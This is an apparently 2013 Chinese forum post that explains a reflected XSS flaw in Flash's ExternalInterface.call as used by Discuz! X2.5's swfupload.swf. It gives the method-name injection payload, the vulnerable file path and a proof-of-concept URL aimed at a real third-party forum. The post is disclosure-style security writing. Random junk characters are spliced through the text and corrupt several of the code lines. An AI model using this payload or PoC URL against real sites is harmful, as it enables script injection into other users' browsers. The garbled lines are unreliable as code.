找回密码
 立即注册
查看: 2780|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说; |2 r$ @4 i) W4 _, e0 v( f
8 |& L1 H, |5 ?0 G6 D7 w2 Q/ t. J
flash.external.ExternalInterface.call($methodName, $parameter)
& N- C& N+ E1 S% E在浏览器中执行的是1 w& X$ r* b3 ?, x& P2 R

7 X; f$ M4 g$ Vtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
( c$ P0 o* C- C: H, Z对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
. X0 L$ d8 s: C) T2 u9 @7 m8 n
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
9 |: h/ Y# U) |$ d" W( \$methodName = a())}catch(e){alert(/xss/)}//
" V# ^. U1 t& s! v& B1 P" ^% H, N结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
; [7 f6 v4 }. Z% U9 @: a- i7 j& S5 E. f- v8 J8 K% E5 i( Y
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
% o" D, Z2 ?$ w2 b6 p+ ], O: w4 f5 p1 {$ [
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
" ^  {" _. W5 [杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。# n( c8 i( P) Q0 W8 E1 S

( B+ u4 _% r' f* o
- ]( H% [& I3 w: i8 {
4 k. v" I! c3 }1 X+ c; m漏洞文件:upload\static\image\common\swfupload.swf
# q" x, G' n: f8 P  O9 ?% S, ?
* v0 r, U4 Y( `2 }' s: t: |1 q, g原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf! O1 f" Q- [/ m, f$ o8 `1 z: h
) v! o, Q0 m0 _- L& u# V

) t1 K3 X1 e. I+ f漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//5 c: N( J0 Y" X7 b* A

4 \8 Y6 [* l8 c# a! \8 J: I# I, C& W
# P8 y8 k/ G1 P& v7 m7 n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表